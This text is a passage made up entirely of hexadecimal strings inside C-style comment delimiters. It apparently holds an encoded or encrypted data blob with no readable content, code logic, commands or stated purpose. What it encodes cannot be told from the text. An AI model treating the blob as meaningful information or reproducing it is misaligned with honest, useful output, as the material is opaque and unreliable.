734141f7ce1b20ab2a69fd81bd58b8a3d7626e3aff380ff4182d91441403cc28a75e8604c1d094f8548a378f0f0a69d4e0eb30a8ec5536200b39703f5174824a0d366dfc4084725bb5f6bc57299b422d5621a0f8ee10931358f31ed8d22434e943fed8e5d4d72e4fbbe1b8db47b9c48afbb55273be7c1474818a9891bc1da6a5f332f82bae3953c9bdec53dcb96a696c2c9a1ee1f7776b29a95cd2886f165bc8e966efd4fa9f7f0c27a949dc35bf63f35ecfa8605a334a50f1b1c3ced4ce069cac76fc9f3f0f4bebc9ed896e57ea17fdb17fe76458c9cd7d77cd0290cd316d5428d3ee81c3e56c7f3187cfd026d991cd632e943baf1dd5e86d7509266499cd7baa9555fed71ff126f6397730554a7b12a0094d3410aede2979f7c94c386dba9412d8145d4d978aeb70eb32698ff6a9f04fcaa5e1f8dd02a682bb37f509cdee6780ea219aa35ceed9e5ede9612eaa619764f92914a9faaaae256a35317236a217f7bfa111ee8b10b934bc378619dd0779081867e34b12d25daa3f63c7c24bb12e8762dadf95e5fd5adae7ec9dc21aeb43869f31fa1e17b8702dd4c87ff2d1a447a87a8925afc989d8656a48903146bfc51bbd644b50ace863db4e6aed58c41e076ab301f1b8b3795665f120764c780d8f62f00a30cae35f5f55d774e8ecc21b7d468a79f0f0b4ce5ef493c0ef6ad3964cf35df53*/
/*b630b60995cc21d19602ffbe00cf7650d8d761dd8d9a6388ed784c588532a2ee37dabf4e414ff2c8af51843af6450db3d57a110ce51975d3d4dfb8c9b5116d58666e37f0b1c8269a6f110f1e1593a294584b5761032f8aa05758f5d1601dc2ba8fc0759e6cc5bd2d6aa31a8116214767516f7db1a5003598a09aa02be74c95056a3e1af8d9041b10e9200274b5f5f704562a3284a4bd799f77b1faa97917e6a9672ec3b0657a803e1b65007a5ed23edd90435871460b3fcc0c470632a4bc6f53373653513b6295a353d508b7a8aa7a9fa2b17d34d09a490e639914a8e39544f550e95708f9512d63280d6c535718513d7dc7f047eea688091dbbb6a02ba83450f50b56e200eed22c1f88ed3920b5e3cf62c6a3576caf1e0e300b6c4ce186490e171bbd7e0d4a36787b51ded8ae5562806edc31729ec326f815eb143e97728dda3861e7e371c61436301a94aee519ccb994d9711b46ba5a6aa16f9bd81af900119cbbeb101ec4964b401be3d3995723c0a67ca7e818b8ced0cdddb074e0939251f3e2d4d4b27057dd6c0fcacad1368975a602d32458e5f704a1c17521363c9cb1aaf628f855328e37d07927b265facda1f2542e85aedf05b2ad1b27e8c68bffbdd0095eb78eeb64f2fea23cfee832c6f13ca2c038ffd0813a6c30d2bb2eaea2ed0bd3c656d4ec8b59994cf2aed50a6637f92f470190f165fa9283ec6c2e5c902f3a888e269e6ec0ffbd65114d7dd5f865f4e5a769331facaf266997f1ba73ebe5c1cc68980f64386e249d192a423b8ade05deb5aced33d6eb245f17e30e66a0cf24e1ad14c0c9784da9b7f5afb88d0b5eab1e92ff091a2a8748fe1cad3b8e57a667a7b5119d9133c39c8b1b49d0719b35d990a0c9da5d5d4b1858bddda1f289e3849fb1f99805b9d0740940f61dfa29a8740641cdc71f845d902f70ba820bf21edbcc301a503b6db605833b167525eb6cfcfa2e3d8ce889a0c77091668bbad17621b3e835d93bc1073a0622c1d86504808957a5342dc1ac0f89ff0fe9b9ee95f8997294bf897ee653e5a7b997b5622570e97b7323ee0c69e3babad029a55507f7741acdcd7ad2d23ee95d85def20ffba66787411f775d5ccd775ba2e721c58f55a2bf7c11c69f0b3c8023799d1cac4349fef1012a7266f4d557bb9bc28b2238613144ce743c544e1139c4d48702609d1324ad6cfe73a26006e030c02c3e6b4657d11f097630e5248402b3490e3e8b12684ec46c408f238dfc6bdce96d4c5994e1bb19d3a37cee42af42028da5a2b41a9753bc912d64bce166ddba3dd89918e4ec4c0d1be7ed282d5fc0da9e08c83381df33b00e6d642a8c600317224ccabfd85d9f4c5e11eb3ae1d27f8931a0ce042be96b8eb8c02268e0a6fdec0be4188c8bc35682fcd776176392c36fcc619e960a8e2f93334195374ce90d3961078d998594cd997e70e6899d52e1d7bbc851ca5a4afb2d7372f6705456337c44543632be1f3241a436955d935ad874c5f829a0665d2307dbcec9d8ba443e09b7df114a94a323eb0ba310365d12d2735ff2391b2077d151cd0884146184887aa60663f0553859c5583f0258b570b351712250cdf8831ea79608a15e4bdd64c002a284f0c8614762186dbbbc2fbe2d5c3c6c981b8e3afd6a0c1a6060ad4b2664a420655669c32e7e212c52e557d14190da6f0ccd9ff445826cdfe840c3a621e90100bc3e2b367e52d457e4f5a99efbb03bb14874e4c2dcc0d37503bf743adb1acfc7612782b7dfef293512db982e7d5a1ebd1670ddece722a21dff22e59a8ea98163063bc61f7fea8c66898896a32672965567efcdc69c80012fa8faf28639d8e51eebe1334bf6f06487ca3988c7cbd24906e9452cec1b3bc34466fe49477a7a3cbc1584acaa5eefc90e07a5549eda8c9307223ab4bdd0035f244ae17be370115d369f94cb3338412f5b16f84d49cc17064d084a1db1e72e9aaf54b2f79bc22b6d5c349a4b56ec8dbf0214fbb554ec8fc224b8759b5022bf20e4fe21e73ff0183fb7b14faecd2f8c7e4a2b3298f8c6d3780a72b6e9bb0334458195daee00f68bfe4c0d930df3a765e5caad98d45e3d47cdf4307a267ddfb3d3b62d5b77a6f9b242bfed5064411f8e4773375b59f62af6ce2b1ca5cfa7a24cfe694ba075b85b279b82b68e16cce237137b45462955439d8f23b5b59ee9d27cd06e79bad1c63c9d952ad515962a55cbb651cd9715449ef373ff68946303dee40696b76895d35f30ee00f37d3170582d8b870a9144d72e432f27319d999265864e9b1a4d1a9242480216f151f11bd05b0ff4ee1140cf6b3749bda07493acab0d4bfd1dcded2cc075f3bd3bd4cb4ba101e51f3e95b416c03caa401983aa9587bc1fe8588cde82dc3afeb6fe535f4bf4da45d1a4a40c8cb34cfb107a5f9245863a6e7e5c716c761ee19af89b4fcacc839774c9fdb7c3e5f35c6b369c8e07d012c145bc10d26b44115d82157223cf96dfe8a5f976e5d5f684a631b162dae3285d1e1b3dcd95f06b88fddfab3008e9ce0905b0d15e380151a52659bc202264c7f76152d6b09b0acaa5f43340911ee80deeec693352f8df7af48f37df2ff3bd8392829ed5f6ec97c852819e256f992897b4de9d8f2596c9a06d158940d2574a44006c0bc0de74a6e4177393ac9b1dbcb19c6e68ac1b9ab2c19596535090e8033480fb29c632c91577d6085684b49598e5d636ae83859e7c44b97f95dfc92c6ec8073812ac2070ef5ec4e87f95d928f06e434a20d37df46b58fcd7bf62035488723e7c82e7033b2992df20f3d36d25989329b4cb1a2dc04bb230addcf9fa0ca95d*/
/*8b2bfc7df67d395abd882d72d020966e6ffa426d2c3f5017e455eef42ebc064529ba896cedc611962d704ba285c185208be70c669fd0e268ee410ed51c25cbf747c79e952b1a78448f1fc31145e02b62f5e0503d1edcac8a48c5169b0cd226fe73a9a2496690f59e98a6af2e137b319817ddf2338e9f36ff8a9d4a6352262639fafba7cb7107c073e25908f0468b674c05e095ab9299aa527258d2f87dc1051cd5f158048b96dd1b9fe23f298d8794c990a19773c7c0de102fb63cf372e60c26d6ea4ee1da8ed8c4ae35a59765fd99e8ea89a996c9c052c07fbd46879b1d5849244bfb9f03eb2be073b97a6c0a3963ddd834f90e7baa1de7787711371f0ea16d23a8152978611268dd527efaf60ebc80604a27ef661f7302fba16686c0da0b9cc76f26dc879caa61f4353e612cd3109707510ff11202ce4ce63334fac9151a60bc989f72e3c50d5c6683c00f464a534216aaf22c286a7f97b099cc95eac4acacd8ef3689fe38acce4bda07a952f81957d1e8ed94a1c0284dd4a7df1569093edfbf5f59a950adc940becfb7937ffe7218c54ac67da80eace5a60c6552a110c159dd0b4f3838d2df1234cbcb8b5b44db7b49c7969c03f5e31ea4a275c71732eb4215577a9cf16e751de050b05b2aa4ec2e3d47baaeb7ad17487365e9ef84907e05ee247d5e288305141dc394bc129343be0ed8ddc26abbd15e8112932c50d4890e2a145ee91e70f79496b77ba644319df9a591802af3315e8ceaed99cf603cd65b201e8f64e2bb5d6ec6a0bab6cb62ae03363ed2434222e531ee748e46c0f0dc2063efa0bc499e6d568ab17a1744df73f2094854a977ac260cf7c9f579c05ad227e67acccd281fdc9e2c19ced3a14a138f7e1e5548e7066eb796f814207c1fadad464d894a294742cef406f94fd8acc9c35aa0edf13b1bee0d96381205bedc32fb134d5e8e8269c0c6ed9ec1e9cb83d0110eecf171a085bd53c7aa44fd8eb136e3cc98d40edecbb2c0ba61cc665fdb30997037228769dfa7f020b82c26c059d1b3980e6d2bbaadfc1fb50d0bb4839f6e89b0ee61daaf40599cd74f7d74b49ba88fef4b80bc51fc6dda48e2bd27e65af2bd994982439eb6c758ecd1233acfa518008ae1aaa63f332387109c38569cf28924ae25a15dc886e3877857e1b7c6a7882f92ba94ff3cd7fc800451dcd8adba83efec9260dc95bb2a6fa3e5885c69fefd227441868e64be95f2a48232f8ed54b481c7e6f15115bc738e69011787f4bc62898db06b38bebd85dbc60f4aed2bb631813dfa5493b428fd69f778e13b6483032f538b90b34abdb968e2786d27b5d7fcde8040996bde74443aae4eeebf4c475fea3b06d2babb02847a967ed34627886742dd18418b1cf39bef74e37d607c0c4204e8fbdc5e197f6f29a1c49fad3e8a6175c3ffb321b7c0ccc2174bc779dead43eaf2e7a6f918408cf8d60286c9ab2663cde50fd3d0ec6a04fcba0ba2cfd19d4438e86f75d043c9cbb9f5ff7d5ceb63db601b2acfa4a128408d46bb3e608a7764058d0e8655c265b5ea0416c7ca9861e42f461923c6330c13c5eb9211fbbeb37c6b615549021d8b3fc5bfe5d6c9f8be7b4626e71f9b66ac29f26df5069b0e109c89c1bcf3baab272ba364668283e31d1d0c9d12d2ab8e61dd69e13d0fa9c224da22c87bd765afc662aabd50fbf8f1dc2e8c2bdf07945b1e5b4b656d9537c73c6f481a0402bfca2e0f3decc1584c0c6be70edffbf3a44892d9c17f392baff4dd3785aca115a24770de59468ac1ce14f200bd89cae1e7d0403e6dd5cd047d9faf014e9f3fbe0879a055e152b72a4eef3ce82a83cebb79c0ac49f3c6a3d47151d65d428ede81e6e126f8c5529908d4c4ef8ba4e3eeefb8c9acb90b2ba1f5b74966f918b48a9f3a93f4de1d890011591816d160706b0500c5f561ba6646a0ff53ac9e2552d205d3819586e76de51f83c4047497e716147a46d1cc45981262c39ecf504e813acb9fd0eb80feeabd6c29388519cdc28ac610714b43018e735dd9d1aeea9a7353cb0ab04bf0689a936ed960b0a6d0abfdf85bfd1f62bcdf0d457baeaf983bc76e2d19ed68c867c58a1c08501dab274d64da088d6ed21c35c618c1e0750840edb110d18905662c6a4d561f97de4c54e58aa04bcb6b757c957f2c31bb098a6b98c83937a6a33aed54c642e5ad908f675b199ee5f3c19f4990ac98cd39e4d54e2617eaad0669cdf21380ffb741ce72a33927d3c488edea85cdd042d6e4e6b177d172317999f6421920f0a4f3e250588da4cfde65f7a62e6677b0c291b83a2a8bf2be3e3e5d8abfc8e410a665bd96dab35cdba3ce7d12f4ad134041be37a4c84c2e2a0298d0bbd4dffdaef9c61d54077b0eff18a17ad585af308e09844b128dec7544eb158514a7b19f40ebea30432fac81ea4f480e8e550bc75e6bbb25cf60e83a6cb0d1608d1207bd76cd01533af36a988b0fb8271d395a852224dea83ada20354ba4a136c9285cf30ceca7804cf9ea3ae4f39e421ee5139d0e7bff67e47d33de02dfa87fcf6fccd762f7386fc1272f4ab6264c71a943f443d71017f7c6ec0685965eae4ef71326abfd2a0d0ef0a7d68ce2b6aa49201562d1f6f191e17dba05c06cfe83ecdf8d94bfa7fb45f10b98e95450fbb1b72089c32b5ae7cc7a4404b923d519ddbdeabd3c8a712018635b74630cf7c82ad23cf2819fd581f3e752bd15807de1bf8dbfc36b7068f845172433c81cff04da260ddc722a36ca08585c8ea2c1cb1fb14952fdf51b11aafe4cb4a5e579663528f744bf9ed4b3d2e2ce6281964ab235b473642c93b0503acbef3a0abf*/
/*642db33358ed17d31f070b66170a5d30dcfb871d107bed32ad64c8c78b15503f361dee4a4e8ac98cc08bc204f550f31f69dc8d8e96d3e2e9ceb3d63557d30a446d410fe3da048a9e467ee79258c1be349b34d824abfce26d76d3698e92a34ef8fc47cbd4af59e7a81f6a8dc3e6b080cd2227a9d3c30c3dd09fbfca7cfc47a52332e3108bebfd77b73f3fb6f616a6d8c0785513c0efbf11ed985bc00076e24b7b5b2b5cfc911a886f83aed7e66d41e5a5d94a333cb6d00849ae23c88de0af14a61f7d5117b7af8431b0f88c61ec859c2aa7bb3d483e6eaf686473028f736e4d432d2c445b370d0bce00b9a3800cbcae4fe357f7caba777630b7e6f6f22df2b5da3e2121092db5080d12d4f01f5dc0d704deb1058c48b82bc8348b035413e62b663f4b9ed1e9e3ff33d070b378a35abf61c44d3520d6221c54a9424daf2bc0c5eb9ef60a48d4792764130a675ec7bb34997216106ae004931b836db908ea4f1603ced351dece37fffd1e3b1c0855dfd301cfc9000863777a213197769acf584b164fda92f68d3e120bbaa83f53ab6f0448418d91aaf5b1d8d11128b03830e884431ec726fc39b101a84226e3152c662cf9499485d54ae9ef5a52c8953ba9ddcdb3924dd3076f96e450cef412ebabc32eaa1442e7212285b8530f5762043144569882cb883e764929a9a4687184c193673ecf10c1b342349cf661b529267ed5341be9dc5c8136df717680ebeb21b7cde37cd05aa7a0ff42bfa228f61eb3eacde74e053ae373ed2685f152958ef538c71d5534916b212cbfa3841f1b44a1778a6eeafc0b7c8a890f51130846287f5f061cc05883077adfd41dea858846c7edc03844b2eb6c809a9197f7ee09604ff6eeb50b549c3ba37077a5d37f533cdc84c422609798b166d8a06ec87e2d2e8b99c4f6237196608901c0f9094305ed60a624f49759e74c666143e2bd674d4060eaa83fa703c0584f1345552ffa7ef1c6ea1f751bb61126e644ed69747ff9e539146e2cc5f43f58ba4406ff1bf33074155a5de2478036538a5fa0847c9e15038b4a5e962ee5ef7d5831f223d40a2d070e951280297c362b58b518a54eabd5bc1767e187a329e686e774c15e41f738955fd1c69196cfdf8a31b5a81635b5385f7f3825625f29993993ac3a23b4cf33b7bf662541b23a4548c9f16342d880c1a881e51b16abffe9e0a03dd433d2b85b811589f8bcfabd27668ced6b8bf1bb8f70c031cb3edf738989cc6280336d245c8a86ea35f6a7e88ea1d07af4540b510232141a1ae057ccfc80a16759dc085d07e5324f200a7e44b42539bf1604ea507f54405493da2031a794e2d21d8738f3641665f223abd28560ca2e61bee8bdd1ecaa67b0fb611120809cb52f02d93e9619022fb0531cb5e3823eabef204dd799ca096b474d5445361c0d23fa39a46ca5e520205600a69d96bdfa7ef148e0db25aeeb124af2df43dea6a7223f789a4eefb2f566d5ddc3293273366b074e4632d46b70dda6763391f4afb3880f4d7aeb712102d2c36341e97e2fdb5555e9b47202027d0bac16ee6aca69ed2f2c1604a83126ae913b3a572972752acc718f5a0a6c62783089de7ab5b1b4a58efd92440e0b8ad6f0dd7bfb7f591a01c389f2c30a28adabc99c8a87b5e5bef53d16ff1954689d4e5ed18434a4fb4e58f655b732c0f431d7cafe46ed00992c0c7bb79423ef6a6d6ea2eb564833c6cee08f1c2eeeb5e0b53cd3b466dd3e0a7fb2453ea0cbcf78a7ae50b34fabfe52b225ea570326f744dd02776915dba0e59501f86b64c372fe56f71aad1f623cf3c5cfc6f9ee58d0c2495f07b2f250971b429f0f8824ae2aa96935d24cd8b1d49d20af3fda7f11064788ad25a27397e969ae020ad3bb0cb54f8286c7fd83ba9d2829a812c9658b2f84a910bf8515c0f6b757aeb3eaa01c974e00e52835915dfbf79019a8a8962edd3187189ca909694814f3c0eeffd0ae36d973d8f578fcdca8b3d5fd96e75d7813e9f5ebe0e1cc8f9a2bb030940a73687bccaaedce8f6b2052e951cb71619037d02cd351dd4ea4ec1a2a961900e76e4247c47b49eab8a7ce059b044d2d8baed1dc1d405e91fcea8f2c518e02a89674c02631e82ba3ec80186701712757f91a729c7e3114aff5ea640f56e522b24d115219fb234a40f19bccd294c6ef7c2bb96ab94b68ee725ad909d7cddd9fcca2e13fc6b3b199cd828b60a82780220b49d3679e02cda3fff2f15069ed3516e847ac65979616950ffe878360602f0938be779f377cc4a9818293a0b698dbc798bb319335434a39f4045639024dc37083f9f9cadca3ccbbd2ca83dcbc4553b5b8afd02c45bf0f6f240e4cbbe1e100a1e1cde5969f642e645b15601f2cbce0c43d1e990e1c8736a62f425409312cf975b9607654d55ce02e1e9d3ff3ad7f6e1b1f2c8f50e1f4aa52a9889362112028f95f581520295ec6905defd637614b13f8912a1bef9f77cc888fa0bb4f2b9b4a3f9029e32a83452ed052628b084e5422ea48b3a07f49e68050019d0ab1635a9b492de55e4258a1fe950151907a94a89ac144d27f1f5c1b44707d8ed6581ab9a289576b0b94e9ec5227cb43175ae97ff40db5e0923231a17b925b53df835699f81b55c9a320f29306c9b733a5cc0d9706d8187ce5f14cc3575c61b744a8f4625d2ade4127a112dd0f913a80c938ef7c2cc1880869c73ff8d2cb3ae01c4c867866213154cf6b8ea4ad40cdbff19792152cf061532c0292a519584c7d1e6288ef2874b0f82243ecbcbd3bf76700f984e2087c1e300b08e3992a60aca333b59bdd76f705d39ce037533b0d49f084ee99*/
/*0e886864491fb813de13a2a3aba33cb5b1588359b9b430b878b5ade7387ec7b550de5295fa809223650677ce3ce3b69d3f29bee0660ce6aa95aa5e1a9ac3887574348d251c95936952ccaf691f3590dcee05b5ca2462678a7c937a710b6c27dae033c46bfe5d2417753dd1f82f06e793351518da603ed9359c6a87090f42de8aea3ba5379509e9a09ec2aeed61cf2dc69d010bdcf53640f2dd6e82baaa7f821d675fd0a87b408681760f72d9a150acd41cee18b12c719de47f29affd4233400ff19389f2043c5b85620498cb3da206971501decf05c66e14a427fa125732511c008c7ebc5dfb6c77c8ce0f2c4ed1444b215cb7bb89b6df7008f5aacc91da6d20ec57b36cbecbb7d7f39ab62dcedb37f1aa9ac058fefafa7fb5dfb206088ada3e3bdec29f43c543fd6ac8b32990fc51843ab0156f3d00108119bdb1f798afec8894f04b8f451f6973be95d5ae489cb8b29c7502676f947fe8e0b4578e2652033763d27daf7b19364dd92fbcc2b519d08576c3158e8d1137b66c3429445956185e1cd4d30cd602076e213ceed2b4f4efd3b81a44bbb1e84325517a57ff1f801bbe57f6f717aaf9410ec3254ab066c8488c1f754c8353acee9301773778b0793308d77a9b1708b2ddc25c072a86d89190347d34d5075e94cc30082674255688dc31d446c399c0fdc02cf86c7e7cdabec3b347c75478494ee95473a09a678850d69589f2d9c0d69ad6ec11f0109d7e4b2beed5d0027cc434f6caa260e6a04bbc55ad86004e6c14c800d09ea819216b708179eac3b7408290af1cccca89fcb5e9ccc6722be7e15ce83a25835ce48e45043043fc5233e667896672dda95b6a8275610690ae70c36441e5363b7db152ac2fd81d1ff171fffc0ff4864997f2a7169fb04124dcb0582d84a8ee06fea979c878b98168d742aa125eaea797a330e9fdd8235fadb9b9867c769f9e72b07b32696a8d5197322487c3094104294865f89cc2ba8d5c1e8cc86e8a0b24528252f5f6c9e4bdb89c8ba461ff80d5b5b7c3cecae532a63a444c4699f7c0c9ef66626ba435b9940b82373892d9eb81d131a24fd0a42f280f5a22cb753ad0fcbcbe377fe795407f446f56585ff3a80a7f0aab5ac7cfba7b69f9169242a7c1a41bf2878a0e32adf0fd2a6ba8d77c1d6e971dba4edd28e949a957f9ee2cf1050430df0ebb59f1dfbb1af10f38602c3e7b93f15012127b7131fafc177d5e1b492c78af3e4fd2f0f285bbfaa27e3e6408a51ffc220fccd085cff6636604556aad0e17cf24f3947e780f9b701b684c3d0f80309faa500ad31f01ad1f32d655205ffecd8dd455ef5bc5553822e6e0d7b6d3daf8468b823694c794bc3d0a5b38eb25a3d7e151d25e5b435ccfb9fad36fc897410b4ce31da4486b8a99cb73a85466fe75119468c9f0c75848f083e95453dc369648a9d968436658a4df2d8424ddf66f2df9a51b3eeb3c9f374c5c111fea4622650d37e63d82512f5723586f2d90f71dbdb4b49e17d33a8cab71a0952c3714c799bb99de6f85a30412feb52c0d7739105146ae23ce2e7f1e9f3e3d9d8763d14903d1f56d4b4a209a71695236f61ba51f2e409b95e51d64e05900eb5802d5c6e1f4a4bbfd8b59b60dc7422823ed12de453f614a30e233b8acdf85d71235cc1a04bc2d8d02f822f6373610f54b034bcd15fa8c00f40130122921257c69b188db4912e3aa158fb8197bc8840a27d24d50c8e55548b3bd2a253c6a71d16aa9116d867be69eb74eb16512b63327300adf68ba0aa113d4e37de7c2e8e48124fec136506b61d42e6b4903e66f7daa2c2fd6d26f7313ff5ad63d0302ed86a0f03c2bcec05b1fe28e5216d9c4635226146e288f911034761eb61970857773a767a0e12582f4d825f9951ab9606bfb16c70b7b46e2a4a0245149e3c1d5f342dc6cddd7a9af1ffc55ea1362352d8e4cd363b75ed0e5b63812dd8f8a2faf08b70d968a5ce32bad83cbc4a6828bc6de1d728e8359907227b8176f145d2a92c62451f2983555a7e35a99e4f88053dd7c401cca553cd563c8f08a527cfd25f21d8fc6c08273c7ef993c58dc15bccf51d573167310594bd840e8bc71e92535514630508c393bf9d84f65ab35ea0c03af623345853c0705d0b75933d4fb9163ebe2412d29375bb671a42e87bd75bf89f3375898cb6d2a01d9e104d5def8aba2413ed942c10498f9fb19ab6d2acce61757d131174fc4a411d63e43422b334c1ad95abb322094db1dbbdcabab7a2f6e195908c3262f8ca84e3b9772388725adec55bf8129a55fa2c7a74d44d25cb2e7f1df884d9fb4de47881fccef9b58e47352771a81860b0c5b082017e02e07481333b77b2278b60f5124f1797d8b17389f10006fe7780d54bfe1fae3c93c2bde8bdea3b360cec83863875688bc7297553ff9e5a935a61bf8453c838a1c3af3749f248d276b43095ae4aac0a09c314bc652dfac9e6dbae501f885df386f7cc7f85caee2fac162c151b210cf19e251ba4eef407ea86dd50d441c7e080a4a5324d926634533bfa9a6695abf1dcbc1c266fdeb4b6cf7b09ece23e5824c24c259785436316aa704da6a4715bb02f80ae131daff2482775fc81173aa6ffd2843f228d090820f2b14492a8801fb58fd347ccdc8fea1eb51cd7bb6d9680e33ee9656c3ebb557cb33a67a5b1201b9100973b41fe74f929bc02f208d3c47b9f5ec90b853f29d34ff9caae83d9aa1a2e2e36d2010c49d76bafad52185ff46de32305ded93648e862c7114048daa96f44c358aed3d2ef14c7b64cd98a4142da8d34cc493f3f9dfe1f23aafcec6b5e9c8ed4689bb2c4015a35f2d*/
/*f838b7e5acd451ebbc2424112a11c32d8c069bac0a1595b86635cf399c8fcf09dacc2a4e71a53957582db5f46b496c4a05bb67f2487bafe9654e26e70fe413826566fc5bb5ec323205f86f6e9d8e6a0a381e98519b4e056c73e2bf8985c382ca8b65a703b5ec106a9d7946ebebb3ee5295aa166d5413fbd59bf3d705d3f37db2774561fc77a80f727ce42d1ad916b2b4a9df7af5d9b0a02b03da1b4c0369391f36661c63db2c6b768b78cf57aa3cb5ba98827de857bae67b90b7f8d5336652f8d2a11f1f15734d329baaf2eb28ade076bc1ffd7e7196b639c8828eefd64d5716660432f327517d72b9289e74d20f04b6bcd7ac28a981e9e9a34c58be227e5d8a925615ade87ee84f4ef85320eb36911f8b011fe044ffaa0e740ba29d53f6da74ec5bfc073b77c5b05084beaa8028774fb3056787ea00476555002775712162b107dcc0465597ba974190abf4845f609cbef1c71dd40dcb48092f7559c17ca57370765fd523b53f70d6a561b65ad805fe5564350ae5e79a9499f6ffcb4d66ee5150d92d253c041123e49e6aa2af71b4d72b2237d9fb866f85657edabcffb82396ddb1d9c43ed1d29819fe611da02224b609a05369178b3a41a4b055b1408f303180de446809560f73ff2a4a92ae1ec4e6553be5d6a1fa94704a965d9bf7fb666dad9270d3847c1743a239d93b22ccba6098da84dd7210e9b0860d5c524bded5fc518a7d3bb08373daf6de504b53f548f0d98513aaacbae313d9df24a56a981960eefb3af3618f5b2d5c25e64f5766642f8c64d7e42179cb281427620c7c8db12e145695852c0284793f78fa683f93a9c3216c8b4bb82042f5bd01bdf2d66984130c557af33a9f57aae8178f1f23ec132ad3b150db6c14ff0a5fb5e6277936a3f81f4e86e7433b48ce727645443bf749844aed1c1bcb41fda4f77981fe624f846f7a9b90633913d0cafdbadcd75a1c8200e88a7ee203a15856c0cf047d6d5c963a8153391d6a72bee30eba17a984fbda7c6b7c30c917b0532f0d2f8b269046dc4d2bedcf90688f86c9f8f0216f73ea1a5ed29c900c5b3429512d6de8ab408b296cba18fe10908b4f255feb2405ed0f453e17a8a44466b108ec837de9c50ffd25dfb8bdc468dc0c202f6c341a1461e3eac6c16e4e2fd86c9a925aba820b598d6dc54d68d9192942b180e4bd6a6483f0a35280342cfb8fc7d3ecae369b59de011450e1b26625c7c4eba7510d3c842f2c74d6edb825f9832d799d1335ad1c08c9c41093f716f3ec716180498ee785d87dbf6b8caee6bac2a283edddccf12f51e7438fbf5896dfb12ca7a1461ec492c2c29169091f709a41ae5ef1cc59daf62ad7fed909b9c666839c7b6d570091d93cad0cbb4f8db7936da938113e2389111c49cafccff519f601aaacf5b32a75cb4bbfcf39fd2fe8cf559dd8a0c11e2ca5d89208c8fd14969e128579fffc4343b338a96539f31fac77004987d2b7dde600927729f6dec1fe1d8ae7e8a1469c0ae03cfc6e7409acdf110bb6777fc103102665166a2999eb5ea25e0c1311284eb6fb2b7b6c2f6ad2fafb80d0756c2d02a0f13201162a5d145e8ffbb0310fb5c2d64a0e624d215350cddf5cc667111596867082ba2fb85fb83d9f61156c87e167aa96ec4a2cf101a0242c805b1929d864cb9889536818c248cbb370a8cd0f6948c18aed60ac5ca4fb1e341ebe763b066f7bf4912f93e65a9336f3d8ccf71880699307ad6cb4ffcda03c92a0a0ce131af26a961d5bbd08552fa170a9a10d7af9c48f0cb4b36f1e6ae7996255c8ddcaf204ff88f5b218b527d10c26aec11947feaa1ce362db1b30a4d224d518356356edb1de4b644c5089f373c708caafb486074cdc63b5a82983c983fe95e5853b65df567761e7925bc446183378d85f7022560c03c19ee3cea85453b4417765962bf7a29d99a08d1296a503972ee18666be5ee7d368a728abdb50c5974c5a5101860a72c9097bedb822d409c14cec7c8324c7abf65c55a78b9ab3da5c0850ba2aa3527d552257e943e064f807aaf55a7b90e906a7aceb4a0ef6af3051e06a7d9f08494e583cd11d88ff016c88802f0371e16e678e9e4b8097dcf17dc6e7fcc4aa752c0a187e087d2fa19990088d5a60ff38715cc03d2f858d89c596b1650ca1e674f7f21b73a23598b1800e47cfe763436d21b984693aaf83bf6ee40f852e1d4e94ac48672ff88cde7f20c45a27457f1c90b5a9a652426e17560ed5f926024f5c6f51d8a2bcd3d6d61523fab22624b635830ca61baa0af9d1ccea75ab2459753ae30d32fff25221919705742c38d7402bafa6b345e36b6d8820ade070378ff37382d9f672ea5ee82e1fe9138e6087966dbdba5af9cd3b602af4a019b9859da55b3c7d53c526c5346d18e330b989136fa381bcec44cf57df2aa3b57751ed3815c30c851690d46ff800e97cc31989a87724a2c5f43c8db84955f80f6d4cbdaeedc8d216819c3364d480069def6ac0a0a8d29e75d55454ff21772d0ded924c9947695e9aad76c816736abbde691b99c0919485d7cf62cf672eb8145f420f511c98ef49c3edb3ad29405fa54286bf77d4cb000e1eaeaf7d749b35b876de908da770b97ad3439626048d40393f127dc534a2ebea8981c52f81c4acb05fd1ef4710f3d2ce9505daff7440e071db8a017d204d2e2280774bbeecdacc4b1d5e4fcf9c62ee56d5bfff0a301907f6769eaaf94dec48c79fe515f60060fbd044bf24a999279628b1027632f9c49278427af5dd1642aef03cd060e25b4bda7467b3306695d81f880dea08cd897f1e759c98f4bbd808a489ed935c35ab19d0a2*/
/*fc1cd40cace322ec884045ca149fcad8dd12e5efefaab63148272e142a7e8e8a27bdb0bd27a37cca8f783b5cc2c7235a38da9c6be100e59c8701f3de556f040ebfdc18918347e85df3f15a9b6ce63357d851110618bd6d449c27776565170a02dd3431c8771aeeed0341491b5b3d9d715e6c571c70486b776bb6b57c3814d930be9748b6359e5c7d5b6c310e44b23608207d86c65ec5e5e0a74f11625e58c17297b042980c975c03c5cae0ca33bc85d4b9b17f1fdfb6524740501344d8fbfcde6c0e7e3d3e661a73aa1d17bad34588748639bbf40978755539914cb7abea00f9393de9009b0c0e87ad75d104b022387f1e7714107441b3cc4411ffbdba473fe274270eb1012c80e36b776fc79ca53a20bc9352d85428344355a5ddafb5e93a0b1d99aa4a6163f2c250e3d124db97efe478193b48dd0c5017f831c04d106939b22849096f8ed89ab1b89662c2e78b820db2b4d3c48471d21e28c3c67ae161f480dc07966b309d488517f4267ef220ed0a57fee6bb38a8d521a1ff9d1b75f835b4633adf3615eb8ea9ab42e8e43610fa6f9aa1952692d103468426b2257f9fdf7d7c172261fdca732d3969133823ff58b1d13dc48f6d03a121b2e91a0720ff8edd628f4488b88b03dfd4f610e4269f06f530f7879c0c498633017fd921707673b142508f533974f444b3e01ef81b70145e7be9795d926262b4b0708d76705df9c0dc045f564bd26421759eba55981ceb9a415aece49c62c02496b9296049547b955b46675e1b8eab827c74dadbc3416186c541ffcfca54ae77d7a3d3b0fd47084f55aa3869b6b29db5fa256426c2d90ac05d83ca6060e4fdeeed88bec77d73d6cb8d6dd512f9973bc6d9c417c0925c764d85c05748f695c8e8761ff5d75043ced9d416dc6ea8b8607322d0407a4d9a0b3492cb7b3b4311a3de8e8116aeecc8128d49c297181becc0374391dc4a787f70b81446e42a05d7e8f95438a7fbe30d9ec68bba696aec1c836ccada584784d50bb05ccefd0c1ea0cea299020e865faeb7fde5198e13e4898ef06164d029716f0bbc8c4e919ea818eadf388bf9338bce6c5900105329a1fa4a127d87154a6794b4556b34398a0b23bad8955c857c495b68b3da30a73a621e98b937e878e282b578ca62eb3544d569bda6c7a647350d97432d6354c3618b83a9392b8e4b26c408470a57566c6832b409eb49c826fb9afa8364059a54e5961f57658e03223bcdc4b5d760ae14e4945d8a2f6ea06e7a327c4b970845e2b6b2047d64af78b105718b07c787201588e4738857c0ba9e6f7e8ce5e547dd94e91320450bbed850d1225ab1d4261e0